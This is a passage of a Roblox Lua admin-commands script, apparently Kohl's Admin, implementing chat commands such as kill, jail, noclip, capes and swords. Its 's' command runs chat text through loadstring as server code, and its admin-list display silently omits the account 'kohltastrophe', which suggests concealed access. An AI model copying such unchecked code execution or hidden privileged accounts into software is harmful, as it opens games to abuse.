  1385. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  1386. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  1387. local ost = {"pa plr","unpa plr"}
  1388. local tost = {"oa plr","unoa plr"}
  1389. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  1390. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1391. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1392. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1393. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1394. end
  1395.  
  1396. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  1397.  
  1398. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  1399. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  1400. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  1401. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1402. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1403. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1404. end end
  1405.  
  1406. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  1407. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  1408. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  1409. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1410. end
  1411.  
  1412. if msg:lower() == "tools" or msg:lower() == "toollist" then
  1413. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  1414. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  1415. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  1416. end
  1417.  
  1418. if msg:lower():sub(1,2) == "s " then
  1419. coroutine.resume(coroutine.create(function()
  1420. Output(msg:sub(3), plr)
  1421. if script:findFirstChild("ScriptBase") then
  1422. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  1423. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1424. else loadstring(msg:sub(3))()
  1425. end
  1426. end))
  1427. end
  1428.  
  1429. if msg:lower():sub(1,3) == "ls " then
  1430. coroutine.resume(coroutine.create(function()
  1431. if script:findFirstChild("LocalScriptBase") then
  1432. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  1433. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  1434. end
  1435. end))
  1436. end
  1437.  
  1438. if msg:lower():sub(1,4) == "ins " then
  1439. coroutine.resume(coroutine.create(function()
  1440. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  1441. if obj and #obj:children() >= 1 and plr.Character then
  1442. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  1443. end
  1444. end))
  1445. end
  1446.  
  1447. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  1448. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  1449. objects = {}
  1450. end
  1451.  
  1452. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  1453. game.Lighting.Ambient = origsettings.abt
  1454. game.Lighting.Brightness = origsettings.brt
  1455. game.Lighting.TimeOfDay = origsettings.time
  1456. game.Lighting.FogColor = origsettings.fclr
  1457. game.Lighting.FogEnd = origsettings.fe
  1458. game.Lighting.FogStart = origsettings.fs
  1459. for i, v in pairs(lobjs) do v:Destroy() end
  1460. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  1461. end
  1462.  
  1463. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  1464. coroutine.resume(coroutine.create(function()
  1465. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  1466. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  1467. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  1468. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  1469. end))
  1470. end
  1471.  
  1472. if msg:lower():sub(1,2) == "m " then
  1473. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  1474. end
  1475.  
  1476. if msg:lower():sub(1,2) == "h " then
  1477. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  1478. end
  1479.  
  1480. if msg:lower():sub(1,3) == "pm " then
  1481. local chk1 = msg:lower():sub(4):find(" ") + 3
  1482. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1483. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  1484. end
  1485.  
  1486. if msg:lower():sub(1,11) == "resetstats " then
  1487. local plrz = GetPlr(plr, msg:lower():sub(12))
  1488. for i, v in pairs(plrz) do
  1489. coroutine.resume(coroutine.create(function()
  1490. if v and v:findFirstChild("leaderstats") then
  1491. for a, q in pairs(v.leaderstats:children()) do
  1492. if q:IsA("IntValue") then q.Value = 0 end
  1493. end
  1494. end
  1495. end))
  1496. end
  1497. end
  1498.  
  1499. if msg:lower():sub(1,5) == "gear " then
  1500. local chk1 = msg:lower():sub(6):find(" ") + 5
  1501. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  1502. for i, v in pairs(plrz) do
  1503. coroutine.resume(coroutine.create(function()
  1504. if v and v.Character then
  1505. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  1506. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
  1507. obj:Destroy()
  1508. end
  1509. end))
  1510. end
  1511. end
  1512.  
  1513. if msg:lower():sub(1,4) == "hat " then
  1514. local chk1 = msg:lower():sub(5):find(" ") + 4
  1515. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  1516. for i, v in pairs(plrz) do
  1517. coroutine.resume(coroutine.create(function()
  1518. if v and v.Character then
  1519. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  1520. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  1521. obj:Destroy()
  1522. end
  1523. end))
  1524. end
  1525. end
  1526.  
  1527. if msg:lower():sub(1,5) == "cape " then
  1528. local chk1 = msg:lower():sub(6):find(" ")
  1529. local plrz = GetPlr(plr, msg:lower():sub(6))
  1530. local str = "torso.BrickColor"
  1531. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1532. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  1533. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  1534. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  1535. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  1536. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  1537. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  1538. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  1539. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  1540. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  1541. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  1542. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  1543. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  1544. if BrickColor.new(teststr) ~= nil then str = teststr end
  1545. end
  1546. for i, v in pairs(plrz) do
  1547. coroutine.resume(coroutine.create(function()
  1548. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  1549. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1550. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1551. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1552. local torso = plr.Character.Torso
  1553. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1554. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  1555. p.Size = Vector3.new(.2,.2,.2)
  1556. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1557. local motor1 = Instance.new("Motor", p)
  1558. motor1.Part0 = p
  1559. motor1.Part1 = torso
  1560. motor1.MaxVelocity = .01
  1561. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1562. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1563. local wave = false
  1564. repeat wait(1/44)
  1565. local ang = 0.1
  1566. local oldmag = torso.Velocity.magnitude
  1567. local mv = .002
  1568. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1569. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1570. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1571. motor1.DesiredAngle = -ang
  1572. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1573. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1574. if torso.Velocity.magnitude < .1 then wait(.1) end
  1575. until not p or p.Parent ~= torso.Parent
  1576. script:Destroy()
  1577. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1578. end
  1579. end))
  1580. end
  1581. end
  1582.  
  1583. if msg:lower():sub(1,7) == "uncape " then
  1584. local plrz = GetPlr(plr, msg:lower():sub(8))
  1585. for i, v in pairs(plrz) do
  1586. coroutine.resume(coroutine.create(function()
  1587. if v and v:findFirstChild("PlayerGui") and v.Character then
  1588. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1589. end
  1590. end))
  1591. end
  1592. end
  1593.  
  1594. if msg:lower():sub(1,7) == "noclip " then
  1595. local plrz = GetPlr(plr, msg:lower():sub(8))
  1596. for i, v in pairs(plrz) do
  1597. coroutine.resume(coroutine.create(function()
  1598. if v and v:findFirstChild("PlayerGui") then
  1599. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  1600. cl.Parent = v.PlayerGui cl.Disabled = false
  1601. end
  1602. end))
  1603. end
  1604. end
  1605.  
  1606. if msg:lower():sub(1,5) == "clip " then
  1607. local plrz = GetPlr(plr, msg:lower():sub(6))
  1608. for i, v in pairs(plrz) do
  1609. coroutine.resume(coroutine.create(function()
  1610. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1611. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  1612. v.Character.Torso.Anchored = false
  1613. wait(.1) v.Character.Humanoid.PlatformStand = false
  1614. end
  1615. end))
  1616. end
  1617. end
  1618.  
  1619. if msg:lower():sub(1,5) == "jail " then
  1620. local plrz = GetPlr(plr, msg:lower():sub(6))
  1621. for i, v in pairs(plrz) do
  1622. coroutine.resume(coroutine.create(function()
  1623. if v and v.Character and v.Character:findFirstChild("Torso") then
  1624. local vname = v.Name
  1625. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  1626. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  1627. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  1628. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1629. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1630. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  1631. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1632. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1633. end)
  1634. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  1635. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  1636. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  1637. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  1638. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  1639. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  1640. local msh2 = msh:Clone() msh2.Parent = back
  1641. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  1642. local msh4 = msh3:Clone() msh4.Parent = left
  1643. v.Character.Torso.CFrame = cf
  1644. end
  1645. end))
  1646. end
  1647. end
  1648.  
  1649. if msg:lower():sub(1,7) == "unjail " then
  1650. local plrz = GetPlr(plr, msg:lower():sub(8))
  1651. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  1652. end
  1653.  
  1654. if msg:lower():sub(1,11) == "starttools " then
  1655. local plrz = GetPlr(plr, msg:lower():sub(12))
  1656. for i, v in pairs(plrz) do
  1657. coroutine.resume(coroutine.create(function()
  1658. if v and v:findFirstChild("Backpack") then
  1659. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  1660. end
  1661. end))
  1662. end
  1663. end
  1664.  
  1665. if msg:lower():sub(1,6) == "sword " then
  1666. local plrz = GetPlr(plr, msg:lower():sub(7))
  1667. for i, v in pairs(plrz) do
  1668. coroutine.resume(coroutine.create(function()
  1669. if v and v:findFirstChild("Backpack") then
  1670. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  1671. sword.GripForward = Vector3.new(-1,0,0)
  1672. sword.GripPos = Vector3.new(0,0,-1.5)
  1673. sword.GripRight = Vector3.new(0,1,0)
  1674. sword.GripUp = Vector3.new(0,0,1)
  1675. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  1676. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  1677. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  1678. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1679. local Damage = 15
  1680. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  1681. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  1682. SlashSound.Volume = 1
  1683. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  1684. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  1685. LungeSound.Volume = 1
  1686. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  1687. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  1688. UnsheathSound.Volume = 1
  1689. local last = 0
  1690. script.Parent.Handle.Touched:connect(function(hit)
  1691. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  1692. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  1693. hit.Parent.Humanoid:TakeDamage(Damage)
  1694. end
  1695. end)
  1696. script.Parent.Activated:connect(function()
  1697. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  1698. script.Parent.Enabled = false
  1699. local tick = game:service("RunService").Stepped:wait()
  1700. if tick - last <= .2 then
  1701. LungeSound:play()
  1702. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  1703. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  1704. wait(.2)
  1705. script.Parent.GripForward = Vector3.new(0,0,1)
  1706. script.Parent.GripRight = Vector3.new(0,-1,0)
  1707. script.Parent.GripUp = Vector3.new(-1,0,0)
  1708. wait(.3)
  1709. frc:Destroy() wait(.5)
  1710. script.Parent.GripForward = Vector3.new(-1,0,0)
  1711. script.Parent.GripRight = Vector3.new(0,1,0)
  1712. script.Parent.GripUp = Vector3.new(0,0,1)
  1713. else
  1714. SlashSound:play()
  1715. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  1716. end
  1717. last = tick
  1718. script.Parent.Enabled = true
  1719. end)
  1720. script.Parent.Equipped:connect(function(mouse)
  1721. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  1722. UnsheathSound:play()
  1723. script.Parent.Enabled = true
  1724. if not mouse then return end
  1725. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  1726. end)]] cl.Disabled = false
  1727. end
  1728. end))
  1729. end
  1730. end
  1731.  
  1732. if msg:lower():sub(1,5) == "kill " then
  1733. local plrz = GetPlr(plr, msg:lower():sub(6))
  1734. for i, v in pairs(plrz) do
  1735. coroutine.resume(coroutine.create(function()
  1736. if v and v.Character then v.Character:BreakJoints() end
  1737. end))
  1738. end
  1739. end
  1740.  
  1741. if msg:lower():sub(1,8) == "respawn " then
  1742. local plrz = GetPlr(plr, msg:lower():sub(9))
  1743. for i, v in pairs(plrz) do
  1744. coroutine.resume(coroutine.create(function()
  1745. if v and v.Character then v:LoadCharacter() end
  1746. end))
  1747. end
  1748. end
  1749.  
  1750. if msg:lower():sub(1,5) == "trip " then
  1751. local plrz = GetPlr(plr, msg:lower():sub(6))
  1752. for i, v in pairs(plrz) do
  1753. coroutine.resume(coroutine.create(function()
  1754. if v and v.Character and v.Character:findFirstChild("Torso") then
  1755. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  1756. end
  1757. end))
  1758. end
  1759. end
  1760.  
  1761. if msg:lower():sub(1,5) == "stun " then
  1762. local plrz = GetPlr(plr, msg:lower():sub(6))
  1763. for i, v in pairs(plrz) do
  1764. coroutine.resume(coroutine.create(function()
  1765. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1766. v.Character.Humanoid.PlatformStand = true
  1767. end
  1768. end))
  1769. end
  1770. end
  1771.  
  1772. if msg:lower():sub(1,7) == "unstun " then
  1773. local plrz = GetPlr(plr, msg:lower():sub(8))
  1774. for i, v in pairs(plrz) do
  1775. coroutine.resume(coroutine.create(function()
  1776. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1777. v.Character.Humanoid.PlatformStand = false
  1778. end
  1779. end))
  1780. end
  1781. end
  1782.  
  1783. if msg:lower():sub(1,5) == "jump " then
  1784. local plrz = GetPlr(plr, msg:lower():sub(6))
  1785. for i, v in pairs(plrz) do
  1786. coroutine.resume(coroutine.create(function()
  1787. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1788. v.Character.Humanoid.Jump = true
  1789. end
  1790. end))
  1791. end
  1792. end
  1793.  
  1794. if msg:lower():sub(1,4) == "sit " then
  1795. local plrz = GetPlr(plr, msg:lower():sub(5))
  1796. for i, v in pairs(plrz) do
  1797. coroutine.resume(coroutine.create(function()
  1798. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1799. v.Character.Humanoid.Sit = true
  1800. end
  1801. end))
  1802. end
  1803. end
  1804.  
  1805. if msg:lower():sub(1,10) == "invisible " then
  1806. local plrz = GetPlr(plr, msg:lower():sub(11))
  1807. for i, v in pairs(plrz) do
  1808. coroutine.resume(coroutine.create(function()
  1809. if v and v.Character then
  1810. for a, obj in pairs(v.Character:children()) do
  1811. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  1812. end
  1813. end
  1814. end))
  1815. end
  1816. end
  1817.  
  1818. if msg:lower():sub(1,8) == "visible " then
  1819. local plrz = GetPlr(plr, msg:lower():sub(9))
  1820. for i, v in pairs(plrz) do
  1821. coroutine.resume(coroutine.create(function()
  1822. if v and v.Character then
  1823. for a, obj in pairs(v.Character:children()) do
  1824. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  1825. end
  1826. end
  1827. end))
  1828. end
  1829. end
  1830.  
  1831. if msg:lower():sub(1,5) == "lock " then
  1832. local plrz = GetPlr(plr, msg:lower():sub(6))
  1833. for i, v in pairs(plrz) do
  1834. coroutine.resume(coroutine.create(function()
  1835. if v and v.Character then
  1836. for a, obj in pairs(v.Character:children()) do
  1837. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  1838. end
  1839. end
  1840. end))
  1841. end
  1842. end
  1843.  
  1844. if msg:lower():sub(1,7) == "unlock " then
  1845. local plrz = GetPlr(plr, msg:lower():sub(8))
  1846. for i, v in pairs(plrz) do
  1847. coroutine.resume(coroutine.create(function()
  1848. if v and v.Character then
  1849. for a, obj in pairs(v.Character:children()) do
  1850. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  1851. end
  1852. end
  1853. end))
  1854. end
  1855. end
  1856.  
  1857. if msg:lower():sub(1,8) == "explode " then
  1858. local plrz = GetPlr(plr, msg:lower():sub(9))
  1859. for i, v in pairs(plrz) do
  1860. coroutine.resume(coroutine.create(function()
  1861. if v and v.Character and v.Character:findFirstChild("Torso") then
  1862. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  1863. end
  1864. end))
  1865. end
  1866. end
  1867.  
  1868. if msg:lower():sub(1,4) == "age " then
  1869. local plrz = GetPlr(plr, msg:lower():sub(5))
  1870. for i, v in pairs(plrz) do
  1871. coroutine.resume(coroutine.create(function()
  1872. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1873. end))
  1874. end
  1875. end
  1876.  
  1877. if msg:lower():sub(1,5) == "fire " then
  1878. local plrz = GetPlr(plr, msg:lower():sub(6))
  1879. for i, v in pairs(plrz) do
  1880. coroutine.resume(coroutine.create(function()
  1881. if v and v.Character and v.Character:findFirstChild("Torso") then
  1882. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1883. end
  1884. end))
  1885. end
  1886. end
  1887.  
  1888. if msg:lower():sub(1,7) == "unfire " then
  1889. local plrz = GetPlr(plr, msg:lower():sub(8))
  1890. for i, v in pairs(plrz) do
  1891. coroutine.resume(coroutine.create(function()
  1892. if v and v.Character and v.Character:findFirstChild("Torso") then
  1893. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1894. end
  1895. end))
  1896. end
  1897. end
  1898.  
